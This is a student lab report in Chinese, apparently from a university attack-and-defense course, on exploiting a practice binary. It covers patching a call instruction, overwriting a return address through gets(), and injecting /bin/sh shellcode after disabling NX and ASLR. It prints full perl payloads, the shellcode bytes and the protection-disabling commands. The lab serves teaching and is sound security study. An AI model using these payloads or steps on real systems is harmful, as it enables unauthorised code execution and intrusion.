20222409 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1逆向工程与汇编基础:

掌握了汇编指令(如NOP、JMP等)在控制程序流中的作用。
学会使用objdump反汇编可执行文件,并通过十六进制编辑器修改机器码以改变程序执行流程。

1.2缓冲区溢出(Buffer Overflow)原理:

了解堆栈结构和返回地址覆盖,理解如何通过超长输入覆盖返回地址来控制程序流。
利用无边界检查的输入函数(如gets())产生的漏洞,构造攻击Payload。

1.3Linux系统编程与调试:

使用gdb调试器分析程序运行状态,确定返回地址位置并验证攻击效果。
使用Linux命令行工具及perl脚本生成Payload

1.4Shellcode与代码注入:

理解Shellcode的构造与用途,利用NOP滑行区和返回地址组合实现注入攻击。
使用系统调用(如execve)在Shellcode中实现获取Shell等特定功能。

1.5系统防御机制与绕过技术:

掌握栈保护、数据执行保护(DEP/NX)、地址随机化(ASLR)等防御技术,并了解如何在实验中绕过这些保护措施。

2.实验过程

本次实验可以分为直接修改程序指令、利用缓冲区溢出漏洞进行攻击、注入并运行自定义Shellcode三个模块。使用的原件为pwn20222409,三个模块分别用原件的副本(分别命名为pwn20222409a、pwn20222409b、pwn20222409c)进行操作。

2.1直接修改程序指令

我们首先通过objdump反汇编目标文件pwn20222409a,定位到main函数中调用foo函数的call指令。接着,我们计算call指令目标地址偏移量,并手动将其修改为getShell函数的地址,从而使程序直接跳转到getShell函数运行。修改后,保存并验证文件,再次反汇编检查指令是否正确更改。最后,运行修改后的程序,成功触发getShell函数并获取到Shell,验证了手工修改机器指令能有效改变程序执行流。具体过程如下:

2.1.1反汇编程序

通过objdump工具将pwn1文件反汇编,查看其汇编代码:

objdump -d pwn20222409a | more

命令解释:

  • objdump 一个GNU工具,可以显示二进制文件的汇编代码。
  • -d 一个参数,表示对文件进行反汇编,将机器代码转化为汇编代码。
  • pwn20222409a 要反汇编的文件。
  • | more 表示将输出分页显示。

随后,找到找到getshell、foo和main函数,如图1所示。

图1: 反汇编结果显示的getShell、foo、main函数地址信息

汇编代码解释:

  • 080484af:第一列为内存地址,这里指main函数的起始地址。
  • e8 d7 ff ff ff:第二列为机器指令,这里指call指令。
  • call 8048491 :第三列为机器指令对应的汇编语言,这里指调用位于8048491的foo函数。

在图1白色高亮的部分(内容如下)可以看到,main函数调用了foo函数。

80484b5: e8 d7 ff ff ff        call   8048491 <foo>

2.1.2确定目标地址并计算偏移量

现在我们需要将main函数中的call foo改为调用getShell。首先,找到getShell的地址,而图1中有如下代码块:

0804847d <getShell>:
 804847d:    55                      push   %ebp``

在这里,我们找到了 getShell 函数的地址:0804847d。
我们需要修改 call foo 指令,使其跳转到该地址,计算偏移量如下:

  • 当前偏移量:8048491 - 80484ba = -41,补码为 d7ffffff。
  • 目标偏移量:804847d - 80484ba = -61,补码为 c3ffffff。

因此,将 d7ffffff 修改为 c3ffffff,即可将 call foo 跳转改为 call getShell。

2.1.3 修改机器指令

接下来,我们需要将call foo的机器码e8 d7 ff ff ff改为e8 c3 ff ff ff。这个操作可以通过vi编辑器来完成。我们可以使用以下代码进入编辑器:

vi pwn20222409a

进入编辑器后,用以下代码切换到十六进制模式并找到我们要修改的机器指令:

:%!xxd

命令解释:

  • :%!xxd 将文件显示为十六进制格式,方便我们直接看到机器码。
  • xxd 是一个十六进制查看和编辑工具,用于在vi中切换文件显示格式。

接着,用以下代码搜索指令e8 d7以找到call foo的位置:

/e8 d7

命令解释:

  • / 是vi中的搜索命令。
  • e8d7 是我们要找到的十六进制代码的前两个字节。

找到位置后,键盘敲击i进入insert模式,将d7改为c3。完成修改后,键盘敲击esc退出insert模式。
最后将文件切换回原格式并保存退出:

:%!xxd -r
:wq

命令解释:

  • :%!xxd -r 将文件切换回正常格式。
  • :wq 用于保存并退出编辑器。

2.1.4运行并验证修改

保存修改后,我们再次反汇编pwn1文件来检查是否修改成功:

objdump -d pwn20222409a | more

现在你应当能看到call指令目标已从foo变为getShell。我们接着用以下命令运行文件:

./pwn20222409a

如果操作正确,程序将直接跳转到getShell并打开一个Shell。输入简单命令(如ls),确认获得Shell权限。如图2所示,就意味着我们成功改变了程序的执行流!

图2:修改后程序成功执行getShell

而未经历修改的原件pwn20222409的执行结果为如图3所示:

图3:未修改的程序正常执行foo函数,不调用getShell

2.2利用缓冲区溢出漏洞进行攻击

首先通过分析程序结构找到foo函数中的gets()函数漏洞,该函数无长度检查,使得超长输入能够覆盖返回地址;接着,使用调试工具gdb确定返回地址的位置并计算溢出偏移量,然后通过构造特定格式的攻击Payload,将返回地址改写为目标函数getShell的地址,从而绕过正常执行流程,最终成功获得Shell。

2.2.1漏洞分析

在pwn20222409b程序中,main函数调用foo,foo中调用gets()读取用户输入并打印。函数执行完毕后会返回main,正常情况下不会执行隐藏的getShell函数。
然而,我们通过分析发现gets()没有对输入长度进行检查,因此可能导致缓冲区溢出攻击。利用这个漏洞,我们可以向程序输入超长字符串,进而覆盖foo函数的返回地址,使程序跳转到任意指定的代码片段,从而强制执行getShell函数。

2.2.2寻找缓冲区溢出位置

缓冲区溢出攻击的核心是覆盖返回地址。为此,我们首先需要确定溢出开始位置及覆盖返回地址所需的偏移量。
使用以下代码加载程序。

gdb pwn20222409b

使用以下命令在gdb中运行程序

(gdb) r

输入以下长字符串后按回车,观察EIP寄存器是否被覆盖:

2022240920222409202224092022240920222409

通过info r命令查看当前寄存器状态,判断EIP是否为我们输入的字符串内容,结果如图4白色高亮部分所示。

(gdb) info r


图4:通过 gdb 检测缓冲区溢出后 EIP 寄存器的值显示字符覆盖情况。
看到EIP值变为0x32323032,表示字符2、2、0、2,与字符串中的2022(最后一个)对应,说明在此偏移量上成功覆盖了返回地址,用exit命令退出gdb。

(gdb) exit

2.2.3构造攻击Payload

在定位到覆盖返回地址的位置后,我们可以开始构造攻击Payload,使返回地址指向getShell函数的内存地址。
由图1可知getshall的内存地址为0x0804847d,故只要把原长字符串(2022240920222409202224092022240920222409)中最后一个20222409替换成getShell的地址0x0804847d即可,即替换成字符串

20222409202224092022240920222409\x7d\x84\x04\x08

接着,我们可以使用如下的perl命令构造Payload,将getShell地址写入溢出的部分:

perl -e 'print "20222409202224092022240920222409\x7d\x84\x04\x08\x0a""' > input

命令解释:

  • perl -e '...':使用Perl解释器执行紧跟在-e后面的代码。
  • print "...":输出指定的字符串。这里字符串包括了填充字符20222409202224092022240920222409和地址\x7d\x84\x04\x08,其中\x0a是换行符,表示结束输入。
  • \x7d\x84\x04\x08:以小端字节序表示的getShell的内存地址
  • > input:将生成的字符串重定向到input文件中。

之后,会生成一个生成一个包含这些16进制内容的文件input。使用xxd工具检查生成的input文件,代码如下,结果如图5所示:

xxd input


图5:使用 xxd 工具查看构造的攻击 Payload 内容,确认格式是否正确。

2.2.4执行攻击并验证

有了攻击Payload后,我们通过将该Payload作为输入,验证程序是否可以通过溢出跳转到getShell函数。
我们可以使用管道将构造好的Payload注入到pwn20222409b程序中,代码如下:

(cat input; cat) | ./pwn20222409b

如果Payload成功跳转到getShell函数,程序应返回Shell提示符。可以通过输入系统命令(如ls)来确认是否成功。如图6所示,输入ls,展现了当前文件夹下所有文件,这表明缓冲区溢出成功覆盖了返回地址,并跳转到getShell函数执行。:

图6:缓冲区溢出成功执行 getShell 并获得 Shell 权限后的截图。

2.3注入并运行自定义Shellcode

首先,我们需要理解Shellcode的基本原理。Shellcode是一段直接用于执行特定任务的机器码。一般情况下,Shellcode的用途是获取一个交互式Shell以便控制目标系统。在本实验中,我们将使用一段简单的Shellcode,它的作用是在Linux系统上启动/bin/sh。以下是我们在实验中使用的Shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

2.3.1关闭防护机制

为了使Shellcode能成功执行,需要关闭一些系统保护机制,确保注入的代码可在栈上运行。

2.3.1.1设置堆栈为可执行

默认情况下,Linux系统会禁止在栈上执行代码(DEP/NX保护),因此我们需要使用execstack工具修改可执行文件以允许其在栈上运行代码,使用的命令如下:

sudo apt-get install execstack

命令解释:安装execstack工具。

execstack -s pwn20222409c

命令解释:为目标程序设置可执行堆栈。

可以使用的命令:

execstack -q pwn20222409c

命令解释:查询pwn20222409c文件当前的堆栈可执行状态。若设置成功,则输出结果应显示为 X pwn20222409c

2.3.1.2 关闭地址空间随机化(ASLR)

ASLR会随机化程序的内存地址,增加返回地址预测难度,为了实验,我们暂时关闭它,命令如下:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space

命令解释:将ASLR设置为0,关闭地址随机化。

可以使用的命令:

more /proc/sys/kernel/randomize_va_space

命令解释:查看系统地址空间随机化(ASLR)的状态。

  • 如果输出为“0”,则表示关闭ASLR,即本实验最后预期的现象
  • 如果输出为“1”,则表示启用ASLR
  • 如果输出为“2”,则表示完全启用ASLR
  • 如果输出不是0,则需要关闭ASLR

2.3.2构造Payload

为了将Shellcode成功注入到目标程序,我们需要构造一个合适的Payload。Payload的主要结构为:前32字节填充NOP滑行区 + Shellcode + 返回地址。
构造并保存Payload的初步版本到文件input_shellcode_20222409中,先使用占位符代替返回地址,稍后调试确定实际的返回地址,代码如下:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20222409

命令解释:

  • \x90\x90\x90\x90\x90\x90:NOP滑行区
  • \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80:Shellcode,用于执行/bin/sh获取Shell。
  • \x90\x4\x3\x2\x1\x00:包含返回地址的占位符 \x4\x3\x2\x1,稍后会替换为Shellcode的实际地址。0x00用于标记字符串结束。
    输入以下命令注入Payload并运行pwn20222409c::
(cat input_shellcode_20222409; cat) | ./pwn20222409c

运行结果如图x所示:

图7:显示关闭 DEP/NX 防护,并使 pwn20222409c 栈可执行的操作结果。

2.3.3确定Shellcode地址并修改返回地址

在新的终端中找到目标程序的进程号,并使用GDB附加到该进程,命令如下,结果如图8所示:

ps -ef | grep pwn20222409c


图8:ps命令显示pwn20222409c的进程号
继续在新终端中,使用GDB附加到进程号为426551的pwn20222409c程序,以分析并找到Shellcode的确切位置,代码如下:

gdb pwn20222409c
attach 426551

继续在新终端中使用以下命令在返回指令处设置断点,并继续运行程序:

disassemble foo

运行结果如图9所示:

图9:GDB调试过程中设置foo函数返回地址断点
图9中ret的地址为0x080484ae,因此,在这里设置断点,使用的命令如下。

break *0x080484ae

键入c(continue)继续运行,随后在旧终端敲击enter,打断continue。

c

在新终端输入以下命令,查看栈顶指针的地址,找到Shellcode位置,为0xffffcfac:

info registers esp

使用以下命令在内存中查找该地址存放的内容,找到占位符0x04030201的位置,如图10所示。

x/16x 0xffffcfac


图10:通过ESP寄存器查看Shellcode的存放位置
Shellcode应在该地址加4的位置,此处为0xffffcfb0

2.3.4修改Payload的返回地址并注入

将占位符替换为确定的Shellcode起始地址0xffffcfb0,并使用小端格式进行表示。保存Payload到文件并重新注入。在旧窗口输入以下代码:

perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_20222409
(cat input_shellcode_20222409; cat) | ./pwn20222409c

2.3.5验证结果

执行成功后,程序应跳转到Shellcode,并在Shell内执行,如图11所示。

图11:修改Payload返回地址后成功获取Shell的界面

3.问题及解决方案

  • 问题1:2.1.3中,输入/e8d7显示pattern not found,如图12所示。

    图12:十六进制编辑器中未找到指定的机器码模式
  • 问题1解决方案: 实际上要查找的是e8 d7,中间有空格,可以换成/e8 d7 或者/d7ff
  • 问题2:未安装gbd
  • 问题2解决方案:使用sudo apt update和sudo apt install gdb命令安装gdb
  • 问题3:想关闭 ASLR。但输入sudo echo 0 > /proc/sys/kernel/randomize_va_space时,系统都会显示zsh: permission denied: /proc/sys/kernel/randomize_va_space
  • 问题3解决:I/O 重定向>由当前 shell 处理。解释器将该命令视为 3 个部分:①sudo echo 0 ②> ③/proc/sys/kernel/randomize_va_space
    echo是使用超级用户权限执行的,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space,就会由于权限不足触发Permission denied错误。只需使用超级用户权限运行 shell,并使用开关将命令传递给 shell -c,命令如下:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space

4.学习感悟、思考等

在这次实验中,我深入学习了缓冲区溢出和Shellcode注入的核心原理,通过逆向分析、反汇编以及直接修改机器指令,理解了如何精准地控制程序流。我在实验的定位返回地址、调整Payload以及调试Shellcode过程中,遇到许多反复试错的难题,每一步都需要细致的计算和耐心调试,令我充分体验到攻防实践的复杂性和艰辛。然而,随着各个部分逐步成功,最终获得Shell权限的成就感让我更加坚定了继续深耕网络安全的决心。

参考资料

posted @ 2024-10-11 18:18  20222409王勤博  阅读(22)  评论(0编辑  收藏  举报